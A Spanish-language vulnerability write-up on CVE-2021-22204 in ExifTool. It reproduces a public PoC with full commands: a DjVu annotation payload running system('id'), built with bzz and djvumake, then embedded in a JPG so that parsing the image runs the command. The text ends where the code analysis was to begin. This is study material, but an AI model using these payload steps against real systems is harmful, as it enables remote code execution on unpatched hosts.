
Análisis técnico en profundidad de CVE-2021-22204 (ExifTool RCE) con reproducción de PoC, construcción de carga útil y revisión de código Perl del analizador de anotaciones DjVu vulnerable.
Este debería ser un artículo de análisis sobre CVE-2021-22204, pero más bien parece mi cuaderno de borrador, lleno de muchas cosas desordenadas. Para un artículo de análisis de vulnerabilidades resulta un tanto irrelevante, pero me ha enseñado mucho.
Para ser sincero, nunca había usado esta herramienta y casi no había tenido contacto con el lenguaje Perl, lo que provocó que durante el análisis y la replicación tuviera muchas preguntas en mi mente. Antes de comenzar el análisis, veamos el PoC ya publicado en Internet y las dudas que tengo.
El artículo que vi es [1], que ofrece una breve introducción a la causa de la vulnerabilidad, pero como no entiendo el código Perl, muchas partes no me quedan claras. Su proceso de replicación es el siguiente:
Descargar la versión 12.23 de exiftool
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
Descomprimir e instalar
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
Por supuesto, si no quieres instalarlo, puedes colocar el archivo exiftool del directorio exiftool-12.23 en un directorio que esté en las variables de entorno, así podrás usar directamente la herramienta exiftool, ya que Perl es un lenguaje interpretado, similar a Python.
Crear una imagen maliciosa. Primero instalar las herramientas necesarias
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
Ejecutar los siguientes comandos para crear un archivo djvu malicioso
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# Esto es lo que más me confunde, no entiendo por qué hay que comprimirlo (porque en otros PoC no es necesario)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Cualquier cosa en el formato 'N,N' donde N es un número
# BGjp = Espera una imagen JPEG, pero podemos usar /dev/null para no usar imagen de fondo
# ANTz = Escribe el bloque de anotación comprimido con el archivo de entrada
Luego, al analizar el archivo malicioso con la herramienta exiftool, se puede ver que el comando id se ejecuta correctamente
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
En la creación anterior, al usar el comando djvumake para generar un archivo en formato djvu, ¿se puede omitir la compresión del payload? Porque desde el punto de vista del análisis no es conveniente para la visualización y las pruebas. Por supuesto que se puede, solo hay que cambiar el parámetro ANTz por ANTa. Estos ANTz y ANTa se pueden consultar en la documentación de exiftool [3], pero aún así no encontré su significado específico, ya que no hay una descripción estándar.
Aquí quiero quejarme un poco: intenté ver la descripción de los parámetros con
man djvumake, pero resulta que no hay ninguna explicación sobreANTzyANTa. La fecha del documento es de 2001, hace mucho que no se actualiza.
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa indica que la Annotation se almacena en texto plano en los metadata dentro del archivo djvu, mientras que ANTz es el formato de compresión bzz.
Sin embargo, los archivos en formato djvu no son comunes, especialmente en sitios web donde se permite la subida de imágenes; la mayoría solo acepta archivos png/jpg/jpeg. Por lo tanto, sería ideal si se pudiera convertir el archivo djvu malicioso en un archivo jpg.
La herramienta exiftool nos permite modificar el contenido de las imágenes. Basta con insertar el archivo djvu malicioso en la posición adecuada de un archivo jpg. En cuanto a la posición exacta y por qué puede ser esa, se explicará más adelante durante el análisis.
Crear un archivo de configuración de exiftool llamado eval.config
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b corresponde al Tag 'HasselbladExif'[6]
0xc51b => {
# El nombre se puede especificar libremente, es el nombre del parámetro que se recibe
Name => 'HasselbladExif',
# Tipo de variable escribible
Writable => 'string',
# El grupo de metadatos al que pertenecen los datos escritos [7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
Sobre la escritura de archivos de configuración de exiftool, se puede consultar [4][5]. Luego, tomar una imagen jpg común llamada poc.jpg y ejecutar el siguiente comando
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
Luego, analizar poc.jpg con exiftool; el comando se ejecuta correctamente
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : poc.jpg
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
El siguiente proceso de análisis hace referencia al contenido de [2]. La versión afectada por la vulnerabilidad es exiftool < 12.24, y el archivo que la provoca es
lib/Image/ExifTool/DjVu.pm (línea 202)
El código de la función relevante es el siguiente